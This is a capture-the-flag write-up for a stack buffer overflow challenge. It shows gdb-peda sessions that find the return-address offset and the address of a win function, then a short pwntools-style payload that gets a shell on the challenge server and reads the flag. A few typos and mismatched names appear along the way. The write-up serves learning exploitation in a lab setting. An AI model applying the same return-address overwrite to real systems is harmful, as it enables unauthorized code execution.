

easy_buffer_overflow

Account : stanleymusic

Writeup :

Step 1 :

Use gdb to analyze easy_bof and set breakpoint at main.

Then run the process.

```
root@kali:~/Desktop/balqs_CTF/easy_buffer_overflow# gdb easy_bof
GNU gdb (Debian 8.3-1) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from easy_bof...
(no debugging symbols found in easy_bof)
gdb-peda$ b main
Breakpoint 1 at 0x40068c
gdb-peda$ r
Starting program: /root/Desktop/balqs_CTF/easy_buffer_overflow/easy_bof
```

Step 2 :

Keep typing next until the program called gets.

Then use pttc to create a strings with length 100 and use it as input.

Type info frame to check saved rip

```

code
0x4006db <main+83>: call 0x400550 <puts@plt>
0x4006e0 <main+88>: lea rax,[rbp-0xa]
0x4006e4 <main+92>: mov rdi,rax
=> 0x4006e7 <main+95>: mov eax,0x0
0x4006ec <main+100>: call 0x400580 <gets@plt>
0x4006f1 <main+105>: lea rax,[rbp-0xa]
0x4006f5 <main+109>: mov rdi,rax
0x4006f8 <main+112>: call 0x400550 <puts@plt>
[-----stack-----]
0000| 0x7fffffffef120 --> 0x7fffffffef210 --> 0x1
0008| 0x7fffffffef128 --> 0x0
0016| 0x7fffffffef130 --> 0x400710 (<_libc_csu_init>: push r15)
0024| 0x7fffffffef138 --> 0x7ffff7e1bbbb (<_libc_start_main+235>: mov edi,eax)
0032| 0x7fffffffef140 --> 0x0
0040| 0x7fffffffef148 --> 0x7fffffffef218 --> 0x7fffffffef4fb ("/root/Desktop/balqs_CTF/easy_buffer_overflow/e
0048| 0x7fffffffef150 --> 0x100040000
0056| 0x7fffffffef158 --> 0x400688 (<main>: push rbp)
[-----]
Legend: code, data, rodata, value
0x000000000004006e7 in main ()
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAAnAACAA-AA(AADAA;AA)AAEAAaAA0AFAABAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA6AAL'
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffef140:
 rip = 0x4006e7 in main; saved rip = 0x7ffff7e1bbbb
 called by frame at 0x7fffffffef200
 Arglist at 0x7fffffffef130, args:
 Locals at 0x7fffffffef130, Previous frame's sp is 0x7fffffffef140
 Saved registers:
 rbp at 0x7fffffffef130, rip at 0x7fffffffef138

```

Step 3 :

After typing input, check the frame again and use
pattern offset [saved rip] to find out the offset

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffef140:
    rip = 0x4006f1 in main; saved rip = 0x412841412d414143
    called by frame at 0x7fffffffef148
    Arglist at 0x7fffffffef130, args:
    Locals at 0x7fffffffef130, Previous frame's sp is 0x7fffffffef140
    Saved registers:
        rbp at 0x7fffffffef130, rip at 0x7fffffffef138
gdb-peda$ pattern offset 0x412841412d414143
4695074359721673027 found at offset: 18
```

Step 4 :

Use info address evil to find out the address of evil

```
gdb-peda$ info address evil
Symbol "evil" is at 0x400677 in a file compiled without debugging.
```

Step 5 :

Now we know the offset (18) and the address (0x400677). We just need to send payload = 'A'*offset + addr. Then execute easy_bof.py.

```
offset = 18
addr = p64(0x400677)
payload = 'A'*offset + addr
```

Step 6 :

Use ls to show the files, and find a file named flag.

Use cat to read flag

```
root@kali:~/Desktop/balqs_CTF/easy_buffer_overflow# python bof.py
[+] Opening connection to sqlab.zongyuan.nctu.me on port 6000: Done
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAw\x06@
$ ls
Makefile
bin
dev
easy_bof
easy_bof.c
flag
lib
lib32
lib64
$ cat flag
balqs{WoW_you_know_buf_overflow?}
```

Step 7 :

Find flag = balqs{WOW_you_know_buf_overflow?}